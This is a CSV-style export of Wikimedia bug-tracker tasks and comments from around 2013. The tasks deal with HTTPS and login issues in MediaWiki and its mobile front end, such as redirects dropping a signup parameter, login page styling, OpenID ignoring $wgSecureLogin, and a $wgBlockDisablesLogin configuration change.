+Do protocol relative URLs work in older browsers?",,,1362429108,,PHID-USER-mye6umixnhfo7lhpgzmj,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0
+209500,Google Maps not working with https,Where is the code? Is it enough to just make sure that protocol relative url is saved?,,,1362428945,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+209493,Google Maps not working with https,"If you allow saving via both http and https, then the saved content will have the link for the protocol with which it was saved. Known issue, some bug exists for this already.",,,1362425915,,PHID-USER-mye6umixnhfo7lhpgzmj,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+209488,Google Maps not working with https,Does this also mean that bug 44224 comment 2 would not help? (Maps have been broken for a couple months now on translatewiki.net.),,,1362404539,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1
+47393,"""LOGIN TO UPLOAD MEDIA..."" not centered in Android app","https://commons.wikimedia.org/wiki/File:Wikimedia_Commons_Android_App_Login_Screen.png shows the text 
+
+              LOGIN TO UPLOAD MEDIA TO WIKIMEDIA COMMONS             
+
+centered in one line. However, in a Nexus S with Android 4.1.1 is appears with the text in two lines and aligned to the left. Ugly:
+
+
+LOGIN TO UPLOAD MEDIA TO WIKIMEDIA 
+COMMONS 
+
+
+Also:
+
+- Why such a long string, which is not even accurate? You have to login for anything.
+
+- Why all in upper case? Seems to be unusual for a Wikimedia UI.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**Platform**: Smartphone",Needs Triage,90.0,1361833020,1361930342.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-ka5vxemyukvf7ektyaln,task_description,resolved,True,c2,1,False,False,True,-27,True,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+215797,"""LOGIN TO UPLOAD MEDIA..."" not centered in Android app",in 0ecbe5c605ab24e2c274e101d955791334c526f5 actually,,,1361930342,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ka5vxemyukvf7ektyaln,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+215796,"""LOGIN TO UPLOAD MEDIA..."" not centered in Android app",Fixed in 28b6c4f0406da98ef98d4a60ba45edfb08b4887a (replaced with app name),,,1361930288,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ka5vxemyukvf7ektyaln,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+215793,"""LOGIN TO UPLOAD MEDIA..."" not centered in Android app",Let's just remove the text all together.,,,1361834976,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-ka5vxemyukvf7ektyaln,task_subcomment,,True,c2,1,False,,,-27,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+47220,Persona Login,"**Author:** `wikimedia-bugs`
+
+**Description:**
+Allow users to log in with Persona instead of having to create a new account.
+
+Some documentation on persona and how to integrate it can be found at: <https://developer.mozilla.org/en-US/docs/Persona>.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1361428140,1361453228.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-64j72hiqkmcxn2sfxgct,task_description,invalid,True,c2,1,False,False,True,-27,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+206328,Persona Login,We already have an extension for this it seems: https://www.mediawiki.org/wiki/Extension:Persona,,,1361453228,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-64j72hiqkmcxn2sfxgct,task_subcomment,,True,c2,1,True,,,-27,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+46658,Switching to https redirects account creation page to login,"Go to http://en.m.wikipedia.org/wiki/Special:UserLogin?welcome=false&returnto=Tanks%20in%20the%20Spanish%20Army&returntoquery=article_action%3Dwatch&type=signup
+
+Get login page. Notice type=signup in url...
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1360028400,1360201851.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-kxk3tjl34ufyv7csehig,task_description,resolved,True,c2,1,False,False,True,-30,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+223786,Switching to https redirects account creation page to login,https://gerrit.wikimedia.org/r/#/c/47606/1,,,1360089073,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-kxk3tjl34ufyv7csehig,task_subcomment,,True,c2,1,False,,,-30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+223780,Switching to https redirects account creation page to login,"Whoops. The code that handles the redirect only appears to care about 'returnto' and 'returntoquery' params:
+
+if ( $wgMFForceSecureLogin && WebRequest::detectProtocol() != 'https' ) {
+			// get the https url and redirect
+			$request = $special->getContext()->getRequest();
+			$query = array(
+				'returnto' => $request->getVal( 'returnto', '' ),
+				'returntoquery' => $request->getVal( 'returntoquery', '' ),
+			);
+			$url = $mobileContext->getMobileUrl(
+				$special->getFullTitle()->getFullURL( $query ),
+				true
+			);
+			$special->getContext()->getOutput()->redirect( $url );
+		}
+
+This should be a quick fix.",,,1360088407,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-kxk3tjl34ufyv7csehig,task_subcomment,,True,c2,1,False,,,-30,True,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1
+46646,Login and account creation page need standardization,"**Author:** `massaf`
+
+**Description:**
+mobile frontend account creation page
+
+The account creation page and login page have too many visual differences, including typefaces, font sizes, and margins/paddings. See the attached screenshots.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+
+**Attached**: {F10746}",Needs Triage,90.0,1360004340,1362610238.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-4gsbywvn562reki65pb3,task_description,resolved,True,c2,1,False,False,True,-30,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+223089,Login and account creation page need standardization,https://gerrit.wikimedia.org/r/52179,,,1362441994,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+223086,Login and account creation page need standardization,"* Signup button on account creation needs curved corners
+* Inputs should be grouped together on login page
+* Font size are inconsistent
+* W should shrink",,,1362427242,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+223081,Login and account creation page need standardization,https://gerrit.wikimedia.org/r/51623,,,1362102239,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-26,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+223077,Login and account creation page need standardization,"**mgrover** wrote:
+
+https://mingle.corp.wikimedia.org/projects/mobile/cards/411",,,1360185239,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+223072,Login and account creation page need standardization,"**massaf** wrote:
+
+This fiddle contained the field styling for login on mobile:
+http://jsfiddle.net/munaf/nCask/
+
+We should standardize between the two (same font sizes, button size, rounded corners).",,,1360004480,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+223066,Login and account creation page need standardization,"**massaf** wrote:
+
+mobile frontend login page
+
+**Attached**: {F10748}",,,1360004420,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4gsbywvn562reki65pb3,task_subcomment,,True,c2,1,False,,,-30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+46491,http://wikitech.wikimedia.org/view/SearchShards results in an HTTP 500 error,"As reported by xyzram in #wikimedia-dev, http://wikitech.wikimedia.org/view/SearchShards is currently outputting an HTTP 500 error. It's a giant wikitable. I imagine it's simply memory exhaustion.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**URL**: http://wikitech.wikimedia.org/view/SearchShards",Needs Triage,90.0,1359509400,1359509536.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-7babrayfcqbsli4yq6kt,task_description,declined,True,c2,1,True,False,True,-30,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+213380,http://wikitech.wikimedia.org/view/SearchShards results in an HTTP 500 error,"takes a long time to load but it does load without error.
+
+https://wikitech.wikimedia.org/w/index.php?title=SearchShards&oldid=51607",,,1363031108,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-7babrayfcqbsli4yq6kt,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+213375,http://wikitech.wikimedia.org/view/SearchShards results in an HTTP 500 error,"No, it hits the time limit, not memory. I don't think it's a bug. Just delete the page if it offends you.",,,1359509536,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-7babrayfcqbsli4yq6kt,task_subcomment,,True,c2,1,False,,,-30,True,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+46473,Disable $wgBlockDisablesLogin for wikimediafoundation.org,"Please set $wgBlockDisablesLogin false for wikimediafoundation.org.
+
+In https://noc.wikimedia.org/conf/highlight.php?file=InitialiseSettings.php it is currently set to:
+
+'foundationwiki' => 'true', // RT #690
+
+which can just be deleted.
+
+It makes no sense to have this enabled since wmf.org is a public wiki and it only prevents them from editing their talk page while blocked, which is not a concern.
+
+There was also some discussion at https://wikimediafoundation.org/?oldid=87432 about disabling the setting.
+
+I will ask Guillom and Philippe to comment here as well.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1359481560,1359506698.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-5jjkmmw2path2v5nvykt,task_description,resolved,True,c2,1,False,False,True,-31,True,1,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+212415,Disable $wgBlockDisablesLogin for wikimediafoundation.org,"Done and removed.
+
+https://gerrit.wikimedia.org/r/#/c/46653/1/wmf-config/InitialiseSettings.php
+
+16:51 <+logmsgbot> !log dzahn synchronized ./wmf-config/InitialiseSettings.php",,,1359506718,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5jjkmmw2path2v5nvykt,task_subcomment,,True,c2,1,True,,,-30,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+212414,Disable $wgBlockDisablesLogin for wikimediafoundation.org,"gerrit change #46653 was merged and:
+
+<+logmsgbot>!log dzahn synchronized ./wmf-config/InitialiseSettings.php",,,1359506698,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-5jjkmmw2path2v5nvykt,task_subcomment,,True,c2,1,False,,,-30,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+212413,Disable $wgBlockDisablesLogin for wikimediafoundation.org,"Yup, this setting doesn't make sense for foundationwiki.
+
+It was added as part of a more general request (tracked in that RT ticket) to permanently disable accounts on private wikis. When it was pointed out that $wgBlockDisablesLogin would do the job, it was asked to enable it on those private wikis, and foundationwiki was added to the request even though it didn't make sense there, because it's a public wiki.",,,1359481891,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-5jjkmmw2path2v5nvykt,task_subcomment,,True,c2,1,False,,,-31,True,0,0,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+46355,Login form error message has no margin,"Login with an account that doesn't exist.
+The error message should have a margin.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1359142860,1359595258.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-t3jpcpmrk7tcu2iqn7ib,task_description,resolved,True,c2,1,False,False,True,-31,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+229284,Login form error message has no margin,https://gerrit.wikimedia.org/r/45915,,,1359160095,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-t3jpcpmrk7tcu2iqn7ib,task_subcomment,,True,c2,1,False,,,-31,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+46353,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"When $wgSecureLogin is set to true, the OpenID login page should redirect the user to HTTPS so that all transactions occur over TLS.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1359141540,1380809277.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_description,resolved,True,c2,1,False,False,True,-31,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+1749469,[SUGGESTION] Login page doesn't respect $wgSecureLogin,,,,1625599140,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,True,,,409,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1748649,[SUGGESTION] Login page doesn't respect $wgSecureLogin,,,,1625295540,,PHID-USER-ov4ldep5fq73sfn4pnfl,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,False,,,409,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1747098,[SUGGESTION] Login page doesn't respect $wgSecureLogin,,,,1625131530,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,True,,,409,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1746398,[SUGGESTION] Login page doesn't respect $wgSecureLogin,,,,1625034699,,PHID-USER-nw5bjvn7dgftqa7rtkht,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,False,,,409,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+229186,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"
+
+*** This bug has been marked as a duplicate of bug 54512 ***",,,1380809277,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+229175,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"Since bug 54512 has been marked as a duplicate of this, I'll note here that in addition to Special:OpenIDLogin the various URLs returned by Special:OpenIDXRDS also need to not fail if the forceHTTPS cookie might be set. See that bug for details.",,,1380809044,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+229167,[SUGGESTION] Login page doesn't respect $wgSecureLogin,*** Bug 54512 has been marked as a duplicate of this bug. ***,,,1380787870,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+229160,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"I'm referring to how even when $wgSecureLogin is true, the Special:OpenIDLogin page (and the entire login process) still can take place over HTTP. Also, you can have HTTP providers even when $wgSecureLogin is enabled.",,,1368022531,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+229152,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"(In reply to comment #0)
+> When $wgSecureLogin is set to true, the OpenID login page should redirect the
+> user to HTTPS so that all transactions occur over TLS.
+
+@Tyler:
+
+Isn't that a matter and task of the login code in MediaWiki core, which is now used from within OpenID ?
+
+Perhaps, can you perform some tests with your local version, and let me know ?",,,1367909694,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,1,False,,,-17,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,0,0,0,1
+46330,Login on https doesn't log you in on http,"Go to http://en.m.wikipedia.org/wiki/Typhoon_Rusa
+Click the watchlist star and click login
+(Note you are now on https://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Typhoon+Rusa&returntoquery=article_action%3Dwatch&wpStickHTTPS=1)
+Login
+Click back twice so you are back on http://en.m.wikipedia.org/wiki/Typhoon_Rusa and hit refresh
+You are no longer logged in
